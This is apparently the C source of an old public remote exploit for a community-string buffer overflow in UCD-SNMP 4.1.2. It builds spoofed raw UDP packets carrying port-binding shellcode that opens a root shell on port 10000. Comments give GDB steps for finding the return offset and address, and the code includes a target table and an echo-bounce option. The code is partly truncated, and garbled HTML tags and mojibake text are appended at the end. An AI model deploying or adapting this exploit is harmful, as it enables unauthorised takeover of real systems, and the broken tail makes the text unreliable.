/*--------------------------------------------------------------------------* * Exploits bugs in community string overflows for snmp implementations * * Coded by: Jove (jove@halo.nu) * * Portions provided by: RPC, and Zen-Parse * *--------------------------------------------------------------------------*/ /*--------------------------------------------------------------------------* * Explanation: * * As found by the Protos project, many implementations of SNMP are * * fallible to overly-long community strings. In some implementations * * it is possible to use this to take control over the system snmpd is * * is running on. This program is an implementation of how such community * * strings might be used to take over said system. The framework here has * * been designed to be extensible to encompass exploitation over multiple * * snmp implementations, over multiple architectures, and with the * * the possibility to evade IDS implementations. If someone does extend * * this code through targets, or actual code update I ask that they share * * it with me (jove@halo.nu) and all persons involved if they wish can * * share with others that send in code fixes so that this exploit can be * * fine tuned. RPC provided the framework for which to send the packets * * that is used with slight modifications by myself, I extended it into * * this exploit which is much more extendable, and has a working target, * * made it easier to use and nicer to look at, added support for multiple * * targets, and ripped out ugly things such as globals. Here are some * * instructions to get it working on your implementation of ucd-snmpd and * * others that derrive their snmp parsing code from ucd's implementation. * *--------------------------------------------------------------------------* * Required values for successful exploitation on x86 arch ucd-snmp: * * 1.) rets_position * * 2.) ret_address * *--------------------------------------------------------------------------* * Easy way to obtain 1: * * A.) Run GDB with the path to snmp ie: gdb `which snmpd` * * B.) At the type run * * C.) Run this exploit against the host with snmpd running on it. * * D.) GDB should error out saying Segmentation Fault with an address. * * E.) Take the farthest right hex digits and convert to decimal. * * F.) This will be your rets_position... if the buffer is bigger than 256 * * you may need to multiply it by 0xff X times where X <= bufsize / 255* *--------------------------------------------------------------------------* * Easy way to obtain 2: * * A.) Run GDB with the path to snmpd ie: gdb `which snmpd` * * B.) at prompt type break _snmp_parse * * C.) type run * * D.) run exploit against system running the snmpd you're debugging * * E.) when it gets to the breakpoint type print &data * * F.) add about 100 to this address and you have your ret_address * *--------------------------------------------------------------------------* * The methodology for anything other than a linux running ucd-snmpd is * * beyond the scope of these comments, and I refer you to phrack 49 for * * more information. * *--------------------------------------------------------------------------*/ #include #include #include #include #include #include #include #include /*--- Local Defines ---*/ #define ASN1_SZ 11 #define ASN2_SZ 36 #define HDR_SZ sizeof(struct iphdr) + sizeof(struct udphdr) #define PACKET_SZ ASN1_SZ + ASN2_SZ #define MAX_BUFF 4096 /*-------------------------*/ /*--- A structure to hold exploitation values ---* *--- so one program can exploit multiple ---* *--- targets. ---*/ struct target_os { char *description; //String description of OS. char *shellcode; //Pointer to shellcode for OS. int buffer_size; //Size of buffer we're exploiting. int rets_position; //Position in buffer of value that the snmpd will use as a ret address u_int32_t ret_address; //Address to have function to return into char nop; //NO-Operation instruction to use }; /*-------------------------------------------------*/ /*--- asn1 gets inserted before our communiy string, ---* *--- asn2 gets inserted after our community string. ---* *--- these values were taken from RPC's code. ---*/ char snmp_asn1[] = "\x30\x82\x01\x23\x02\x01\x00\x04\x82\x01\x00"; //11 bytes char snmp_asn2[] = "\xa0\x82\x00\x20\x02\x04\x57\xc6\x36\xf6\x02\x01" "\x00\x02\x01\x00\x30\x82\x00\x10\x30\x82\x00\x0c" "\x06\x08\x2b\x06\x01\x02\x01\x01\x05\x00\x05\x00"; //36 bytes /*---------------------------------------------------------*/ /*--- Zen-parse's port 10,000 port-binding Linux Shellcode ---*/ char zenparse_code[] = "\x31\xc0\x31\xdb\x89\xe5\x99\xb0\x66\x89\x5d\xfc\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x8d\x4d\xf4\xcd\x80\x89\x45\xf4\x43\x66\x89" "\x5d\xec\x66\xc7\x45\xee\x27\x10\x89\x55\xf0\x8d\x45\xec\x89\x45" "\xf8\xc6\x45\xfc\x10\xb2\x66\x89\xd0\x8d\x4d\xf4\xcd\x80\x89\xd0" "\xb3\x04\xcd\x80\x43\x89\xd0\x99\x89\x55\xf8\x89\x55\xfc\xcd\x80" "\x31\xc9\x89\xc3\xb1\x03\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x52\x68" "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0" "\x0b\xcd\x80"; /*-----------------------------------------------------------------*/ /*--- Function prototypes ---*/ unsigned short in_cksum(u_short *, int); //Standard checksum calculation code unsigned int resolve(char *host); //Resolve's a host, taken from RPC due to laziness... ehrm efficiency char *make_packet(char *, unsigned int, unsigned int, int); //Creates snmp packet, by RPC modified by Jove void usage(char *); //Display's program's usage. /*---------------------------------*/ struct target_os the_targets[]= { //description, shellcode ptr, buffer size, Position of ret address, Address to return into, NOP to use {"UCD-SNMP 4.1.2 / Slackware 8.0 src compilation (bindport 10,000)",zenparse_code,256,216,0xbfffd77c,0x90}, {(char *) NULL, (char *) NULL, 0, 0, 0, (char) 0} }; int main(int argc, char *argv[]) { /*--- Constant definitions ---*/ const int one = 1; /*---------------------------------*/ /*--- Networking Variables ---*/ struct sockaddr_in sin; u_int32_t addr; int sock; int src; int dst=-1; /*---------------------------------*/ /*--- Exploitation Variables ---*/ char buf[MAX_BUFF]; char *p; int ret; int shellcodelen; int retpos; int buffersize; /*---------------------------------*/ /*--- Option Handling Variables ---*/ int arg; int cnt; int typeosys=0; int debugit=0; int port=161; int echo=0; /*-------------------------------------*/ if(argc < 3) usage(argv[0]); src = resolve("127.0.0.1"); while((arg = getopt(argc, argv, "es:d:t:x:p:")) != -1) { switch(arg) { case 'e': echo = 1; break; case 's': src = resolve(optarg); break; case 'd': dst = resolve(optarg); break; case 't': typeosys = atoi(optarg); break; case 'x': debugit=1; break; case 'p': port = atoi(optarg); default: printf("Invalid argument, %c\n",arg); usage(argv[0]); } } if(dst == -1) { printf("Missing destination address.\n"); usage(argv[0]); } shellcodelen= strlen(the_targets[typeosys].shellcode); addr= the_targets[typeosys].ret_address; retpos= the_targets[typeosys].rets_position; buffersize=the_targets[typeosys].buffer_size; if(buffersize>MAX_BUFF-1) { printf("Must increase MAX_BUFF define to something >= %d\n",buffersize); exit(-1); } memset(buf, the_targets[typeosys].nop, buffersize); memcpy(buf + retpos, &addr, sizeof(addr)); memcpy(buf + retpos - shellcodelen, the_targets[typeosys].shellcode, shellcodelen); if(debugit==1) { for(cnt=1;cnt [-d destination]\n"); printf("Switches:\n"); printf("\t\t-s \n\t\t\tSource address to use.\n"); printf("\t\t-p [Port]\n\t\t\tSpecify port to send to.\n"); printf("\t\t-e\tDestination is an echo server (to bounce packet).\n"); printf("\t\t \t(Source and destination are reversed for echo mode.\n"); printf("\t\t-x\tUse an ascending value buffer for the community string.\n"); printf("\t\t \t(Used for finding values to use w/ this exploit.\n"); printf("\t\t-t#\tSpecify a target to use for packet creation\n"); printf("\tAvailable Targets:\n"); for(cnt=0;the_targets[cnt].description!=(char *) NULL;cnt++) printf("\t%d- %s\n",cnt,the_targets[cnt].description); exit(0); } unsigned short in_cksum(addr, len) //Standard checksum calculation code u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } unsigned int resolve(char *host) //Resolve's a host, taken from RPC due to laziness... ehrm efficiency { struct hostent *he; unsigned int ipaddr; if((he = gethostbyname(host)) == NULL) { /* ip addr, or invalid. */ if((ipaddr = inet_addr(host)) == -1) { printf("error resolving %s.\n", host); exit(1); } return ipaddr; } memcpy(&ipaddr, he->h_addr, he->h_length); return ipaddr; } char * make_packet(char *buf, unsigned int src, unsigned int dst, int echo) /*--- This code has it's roots in RPC's code however, --* *--- Jove had to modify it so it didn't use globals, --* *--- so buffer size could be dynamic, we seed the --* *--- random number generator to randomize the ID --* *--- field. --*/ { struct iphdr *ip; struct udphdr *udp; char *p; int bufsz; bufsz=strlen(buf); p = (char *)malloc(HDR_SZ + PACKET_SZ + bufsz); ip = (struct iphdr *)p; udp = (struct udphdr *)(p + sizeof(*ip)); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(HDR_SZ + PACKET_SZ + bufsz); srand(time(NULL)); ip->id = rand(); ip->frag_off = htons(IP_DF); ip->ttl = 0x40; ip->protocol = IPPROTO_UDP; ip->saddr = src; ip->daddr = dst; ip->check = in_cksum((char *)ip, sizeof(*ip)); udp->source = echo ? htons(161) : rand(); udp->dest = echo? htons(7) : htons(161); udp->len = htons(PACKET_SZ + bufsz); udp->check = 0; memcpy(p + HDR_SZ, snmp_asn1, ASN1_SZ); memcpy(p + HDR_SZ + ASN1_SZ, buf, bufsz); memcpy(p + HDR_SZ + ASN1_SZ + bufsz, snmp_asn2, ASN2_SZ); return p; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß